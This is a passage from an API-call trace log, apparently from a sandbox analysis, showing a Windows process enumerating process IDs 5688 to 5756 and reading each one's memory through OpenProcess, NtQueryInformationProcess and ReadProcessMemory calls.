_Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5688") returned 0x0 [0346.798] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="5688") returned 4 [0346.798] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0346.798] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0346.799] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1638) returned 0xa9c [0346.799] GetLastError () returned 0x0 [0346.799] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0346.799] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x342018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0346.799] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0346.799] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x762670, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0346.800] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x762258, lpBuffer=0x5ec5a0, nSize=0x70, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0346.800] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0346.800] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0346.800] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x342020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0346.800] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x761c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0346.800] malloc (_Size=0x78) returned 0xea9520 [0346.800] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7622c8, lpBuffer=0xea9520, nSize=0x76, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea9520*, lpNumberOfBytesRead=0x0) returned 1 [0346.801] free (_Block=0xea9520) [0346.801] CloseHandle (hObject=0xa9c) returned 1 [0346.802] _ui64tow_s (in: _Value=0x1640, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5696") returned 0x0 [0346.802] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="5696") returned 4 [0346.802] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0346.802] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0346.803] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1640) returned 0xa9c [0346.803] GetLastError () returned 0x0 [0346.803] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0346.803] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x305018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0346.803] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0346.803] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5f2650, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0346.803] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5f2258, lpBuffer=0x5ec5a0, nSize=0x66, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0346.804] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0346.804] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0346.804] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x305020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0346.804] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5f1c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0346.804] malloc (_Size=0x6e) returned 0xea9320 [0346.804] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5f22be, lpBuffer=0xea9320, nSize=0x6c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea9320*, lpNumberOfBytesRead=0x0) returned 1 [0346.805] free (_Block=0xea9320) [0346.805] CloseHandle (hObject=0xa9c) returned 1 [0346.805] _ui64tow_s (in: _Value=0x1648, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5704") returned 0x0 [0346.805] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="5704") returned 4 [0346.806] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0346.806] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0346.807] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1648) returned 0xa9c [0346.807] GetLastError () returned 0x0 [0346.807] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0346.807] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3de018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0346.807] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0346.807] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x522650, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0346.807] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x522258, lpBuffer=0x5ec5a0, nSize=0x64, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0346.807] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0346.808] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0346.808] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3de020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0346.808] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x521c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0346.808] malloc (_Size=0x6c) returned 0xea9520 [0346.808] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5222bc, lpBuffer=0xea9520, nSize=0x6a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea9520*, lpNumberOfBytesRead=0x0) returned 1 [0346.809] free (_Block=0xea9520) [0346.809] CloseHandle (hObject=0xa9c) returned 1 [0346.809] _ui64tow_s (in: _Value=0x1650, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5712") returned 0x0 [0346.809] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="5712") returned 4 [0346.809] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0346.809] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0346.810] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1650) returned 0xa9c [0346.810] GetLastError () returned 0x0 [0346.810] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0346.810] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3bb018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0346.810] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0346.811] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5626e0, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0346.811] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x562258, lpBuffer=0x5ec5a0, nSize=0x94, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0346.811] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0346.811] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0346.811] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3bb020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0346.811] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x561c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0346.812] malloc (_Size=0x9c) returned 0xe959a0 [0346.812] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5622ec, lpBuffer=0xe959a0, nSize=0x9a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xe959a0*, lpNumberOfBytesRead=0x0) returned 1 [0346.813] free (_Block=0xe959a0) [0346.813] CloseHandle (hObject=0xa9c) returned 1 [0346.813] _ui64tow_s (in: _Value=0x1658, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5720") returned 0x0 [0346.813] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="5720") returned 4 [0346.813] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0346.814] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0346.815] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1658) returned 0xa9c [0346.815] GetLastError () returned 0x0 [0346.815] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0346.815] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x27f018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0346.815] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0346.815] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x152680, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0346.815] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x152258, lpBuffer=0x5ec5a0, nSize=0x74, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0346.816] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0346.816] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0346.816] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x27f020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0346.816] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x151c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0346.816] malloc (_Size=0x7c) returned 0xe881b0 [0346.816] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x1522cc, lpBuffer=0xe881b0, nSize=0x7a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xe881b0*, lpNumberOfBytesRead=0x0) returned 1 [0346.817] free (_Block=0xe881b0) [0346.817] CloseHandle (hObject=0xa9c) returned 1 [0346.817] _ui64tow_s (in: _Value=0x1660, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5728") returned 0x0 [0346.818] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="5728") returned 4 [0346.818] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0346.818] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0346.819] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1660) returned 0xa9c [0346.819] GetLastError () returned 0x0 [0346.819] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0346.819] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x259018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0346.819] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0346.819] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x472620, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0346.819] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x472258, lpBuffer=0x5ec5a0, nSize=0x58, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0346.820] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0346.820] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0346.820] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x259020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0346.820] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x471c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0346.820] malloc (_Size=0x60) returned 0xeb6700 [0346.820] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4722b0, lpBuffer=0xeb6700, nSize=0x5e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeb6700*, lpNumberOfBytesRead=0x0) returned 1 [0346.821] free (_Block=0xeb6700) [0346.821] CloseHandle (hObject=0xa9c) returned 1 [0346.821] _ui64tow_s (in: _Value=0x1668, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5736") returned 0x0 [0346.822] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="5736") returned 4 [0346.822] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0346.822] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0346.823] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1668) returned 0xa9c [0346.823] GetLastError () returned 0x0 [0346.823] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0346.823] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x374018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0346.823] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0346.823] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x1e2650, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0346.823] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x1e2258, lpBuffer=0x5ec5a0, nSize=0x64, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0346.823] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0346.824] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0346.824] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x374020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0346.824] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x1e1c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0346.824] malloc (_Size=0x6c) returned 0xea8fa0 [0346.824] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x1e22bc, lpBuffer=0xea8fa0, nSize=0x6a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea8fa0*, lpNumberOfBytesRead=0x0) returned 1 [0346.825] free (_Block=0xea8fa0) [0346.825] CloseHandle (hObject=0xa9c) returned 1 [0346.825] _ui64tow_s (in: _Value=0x1670, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5744") returned 0x0 [0346.825] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="5744") returned 4 [0346.825] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0346.825] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0346.826] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1670) returned 0xa9c [0346.826] GetLastError () returned 0x0 [0346.826] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0346.826] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x33d018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0346.827] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0346.827] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5f2630, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0346.827] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5f2258, lpBuffer=0x5ec5a0, nSize=0x5a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0346.827] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0346.827] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0346.827] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x33d020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0346.827] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5f1c10, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0346.828] malloc (_Size=0x62) returned 0xeb6310 [0346.828] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5f22b2, lpBuffer=0xeb6310, nSize=0x60, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeb6310*, lpNumberOfBytesRead=0x0) returned 1 [0346.828] free (_Block=0xeb6310) [0346.829] CloseHandle (hObject=0xa9c) returned 1 [0346.829] _ui64tow_s (in: _Value=0x167c, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="5756") returned 0x0 [0346.829] 